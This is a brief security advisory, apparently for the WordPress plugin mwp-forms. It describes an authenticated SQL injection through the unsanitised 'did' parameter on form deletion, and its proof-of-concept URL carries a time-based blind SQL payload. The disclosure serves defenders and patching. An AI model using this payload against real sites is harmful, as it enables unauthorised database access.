The plugin does not sanitise or escape a ‘did’ GET parameter before using it in a SQL statement, when deleting a form in the admin dashboard, leading to an authenticated SQL injection
https://plugins.trac.wordpress.org/browser/mwp-forms/trunk/admin/partials/main.php#L13
As admin, https://example.com/wp-admin/admin.php?page=mwp-forms&info=del&did=1%20AND%20(SELECT%209063%20FROM%20(SELECT(SLEEP(5)))YGWC)